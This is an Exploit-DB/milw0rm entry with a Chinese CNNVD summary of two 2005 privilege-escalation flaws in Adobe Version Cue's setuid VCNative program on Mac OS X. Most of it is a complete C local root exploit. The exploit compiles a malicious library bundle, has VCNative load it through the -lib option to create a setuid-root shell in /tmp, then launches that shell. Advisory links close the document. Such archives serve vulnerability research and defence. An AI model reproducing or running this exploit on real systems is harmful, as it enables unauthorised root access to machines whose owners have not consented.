https://www.exploit-db.com/exploits/1186
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200508-283

AdobeVersionCue是AdobeCreativeSuite中捆绑的为图像文件的编辑提供版本管理的工具。AdobeVersionCueforMacOSX中存在两个权限提升漏洞：第一个漏洞(CAN-2005-1842)允许本地攻击者通过VCNative应用程序以超级用户权限覆盖任意文件，导致权限提升。第二个漏洞(CAN-2005-1843)允许本地攻击者通过VCNative应用程序以超级用户权限加载任意函数库。这也会导致权限提升。拥有本地MacOSX帐号的用户可以利用这个漏洞获得对本地文件和应用程序的管理员访问。

/*[ Adobe Version Cue VCNative[OSX]: local root exploit. (dyld) ]
* 
* by: vade79/v9 [email protected] (fakehalo/realhalo) 
* 
* Adobe Version Cue's VCNative program allows un-privileged 
* local users to load arbitrary libraries("bundles") while 
* running setuid root. this is done via the "-lib" 
* command-line option. 
* 
* note: VCNative must connect to a valid host to be able 
* to get to the point where the library is loaded. this is 
* automated in this exploit by listening to an arbitrary local 
* port and using the localhost("127.0.0.1") to connect to. 
*****************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define VCNATIVE_PATH "/Applications/Adobe Version Cue/tomcat/webapps"
"/ROOT/WEB-INF/components/com.adobe.bauhaus.nativecomm/res/VCNative"
#define VCNATIVE_PORT 7979
#define CC_PATH "/usr/bin/gcc"
#define BUNDLE_PATH "/tmp/xvcn_lib"
#define SUSH_PATH "/tmp/xvcn_sush"

void printe(char *,signed char);

int main(){
signed int sock=0,so=1;
char syscmd[4096+1];
struct stat mod;
struct sockaddr_in sa;
FILE *bundle,*sush;
/* banner. */
printf("[*] Adobe Version Cue VCNative[OSX]: local root exploit. (dy"
"ld)n[*] by: vade79/v9 [email protected] (fakehalo/realhalo)nn");
/* see if we have what we need. */
if(access(CC_PATH,X_OK))
printe("incorrect gcc/cc path. (CC_PATH)",1);
if(stat(VCNATIVE_PATH,&mod))
printe("incorrect VCNative path. (VCNATIVE_PATH)",1);
if(!(S_ISUID&mod.st_mode))
printe("VCNative is not setuid. (VCNATIVE_PATH)",1);
/* appease VCNative's initial connection to load the library. */
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
setsockopt(sock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
sa.sin_family=AF_INET;
sa.sin_port=htons(VCNATIVE_PORT);
sa.sin_addr.s_addr=INADDR_ANY;
printf("[*] opening local port: %u.n",VCNATIVE_PORT);
if(bind(sock,(struct sockaddr *)&sa,sizeof(sa))==-1)
printe("could not bind socket.",1);
listen(sock,1); 
/* make the bogus library/bundle. */
if(!(bundle=fopen(BUNDLE_PATH ".c","w")))
printe("could not write to bundle source file.",1);
fprintf(bundle,"void VCLibraryInit(){n");
fprintf(bundle," seteuid(0);n");
fprintf(bundle," setuid(0);n");
fprintf(bundle," setegid(0);n");
fprintf(bundle," setgid(0);n");
fprintf(bundle," chown("" SUSH_PATH "",0,0);n");
fprintf(bundle," chmod("" SUSH_PATH "",3145);n");
fprintf(bundle,"}n");
fprintf(bundle,"void VCLibraryExec(){}n");
fprintf(bundle,"void VCLibraryExit(){}n");
fclose(bundle);
/* make the (to-be) rootshell. */
if(!(sush=fopen(SUSH_PATH ".c","w")))
printe("could not write to sush/rootshell source file.",1);
fprintf(sush,"int main(){n");
fprintf(sush," seteuid(0);n");
fprintf(sush," setuid(0);n");
fprintf(sush," setegid(0);n");
fprintf(sush," setgid(0);n");
fprintf(sush," execl("/bin/sh","sh",0);n");
fprintf(sush,"}n");
fclose(sush);
/* compile the bogus library/bundle. */
snprintf(syscmd,4096,"%s %s.c -bundle -o %s.bundle",CC_PATH,
BUNDLE_PATH,BUNDLE_PATH);
printf("[*] system: %sn",syscmd);
system(syscmd);
/* compile the (to-be) rootshell. */
snprintf(syscmd,4096,"%s %s.c -o %s",CC_PATH,
SUSH_PATH,SUSH_PATH);
printf("[*] system: %sn",syscmd);
system(syscmd);
/* run VCNative. (".bundle" is appended to the library path) */
snprintf(syscmd,4096,""%s" -host 127.0.0.1 -port %u -lib %s",
VCNATIVE_PATH,VCNATIVE_PORT,BUNDLE_PATH);
printf("[*] system: %sn",syscmd);
system(syscmd);
/* clean-up. */
unlink(BUNDLE_PATH ".c");
unlink(BUNDLE_PATH ".bundle");
unlink(SUSH_PATH ".c");
shutdown(sock,2);
close(sock);
/* check for success. */
if(stat(SUSH_PATH,&mod))
printe("sush/rootshell vanished? (SUSH_PATH)",1);
if(!(S_ISUID&mod.st_mode)||mod.st_uid){
unlink(SUSH_PATH);
printe("sush/rootshell is not setuid root, exploit failed.",1);
}
/* success. */
printf("[*] attempting to execute rootshell... (" SUSH_PATH ")nn");
system(SUSH_PATH);
exit(0);
}
/* all-purpose error/exit function. */
void printe(char *err,signed char e){
printf("[!] %sn",err);
if(e)exit(e);
return;
}

// milw0rm.com [2005-08-30]

来源:www.adobe.com
链接:http://www.adobe.com/support/techdocs/327129.html
来源:SECUNIA
名称:16541
链接:http://secunia.com/advisories/16541
来源:BID
名称:14638
链接:http://www.securityfocus.com/bid/14638
来源:IDEFENSE
名称:20050829AdobeVersionCueVCNativeArbitraryLibraryLoadingVulnerability
链接:http://www.idefense.com/application/poi/display?id=296&type;=vulnerabilities
来源:SECTRACK
名称:1014776
链接:http://securitytracker.com/id?1014776